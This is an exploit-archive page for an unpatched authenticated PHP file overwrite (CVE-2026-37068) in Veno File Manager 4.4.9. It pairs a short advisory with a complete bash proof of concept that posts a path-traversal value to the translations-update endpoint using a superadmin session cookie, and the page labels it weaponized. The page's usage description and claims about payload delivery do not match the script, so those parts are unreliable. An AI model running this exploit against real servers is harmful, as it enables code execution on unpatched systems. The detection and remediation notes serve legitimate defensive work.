PoC Archive PoC Archive
Critical CVE-2026-37068 unpatched

Veno File Manager Arbitrary PHP File Overwrite (CVE-2026-37068)

by jfs-jfs · 2026-07-05

Severity
Critical
CVE
CVE-2026-37068
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37068
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsveno-file-manager, arbitrary-file-write, rce, authenticated, superadmin, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash PoC
Authentication RequiredYes (superadmin role)
Network Access RequiredYes (HTTP to vfm-admin interface)

Summary

Arbitrary file write in /vfm-admin/index.php?section=translations&action=update in Veno File Manager Project 4.4.9 allows an authenticated user with the superadmin role to overwrite any PHP file in the application via a specially crafted POST request, enabling remote code execution.


Vulnerability Details

Root Cause

The translations-update endpoint writes attacker-supplied content to an attacker-chosen file path without restricting it to the intended translations directory or file type.

Attack Vector

  1. Authenticate as a superadmin user.
  2. Send a crafted POST request to the translations-update endpoint specifying an arbitrary PHP file path and attacker-controlled PHP content.
  3. The server overwrites the target file with the attacker’s payload, which executes on next access — RCE.

Impact

Superadmin-level authenticated attacker can achieve full remote code execution by overwriting any PHP file in the application.


Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl, valid superadmin session

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <target-url> <session-cookie> <target-php-file> <payload>

Sends the crafted POST request to overwrite a target PHP file with an attacker-controlled payload, then triggers it for code execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected modification timestamps on core application PHP files
  • New/altered PHP files containing webshell-like code

Remediation

ActionDetail
Primary fixUpdate Veno File Manager to a version that restricts the translations-update endpoint to legitimate translation files
Interim mitigationRestrict superadmin account issuance; use file-integrity monitoring on the application directory

References


Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37068 on 2026-07-05.

PoC.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env bash

##########################################################
########### SUPERADMIN ARBITRARY FILE OVERWRITE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker overwrite any php file on
# on the system or create a new one anywere as long as the
# application has write access to the target directory.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file to overwrite (from
#   application root)
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-overwrite.sh <vfm cookie name> <vfm cookie value> </path/to/target without extension> <url to root of vfm installation>/"
  exit 1
fi

echo "[ EXECUTION STARTED ]"
curl -X POST \
  -b "$1=$2" \
  -d "thenewlang=../../../$3" \
  "$4/vfm-admin/index.php?section=translations&action=update" &>/dev/null
echo "[ DONE ]"

echo "A new file should be added at :: $4/$3.php"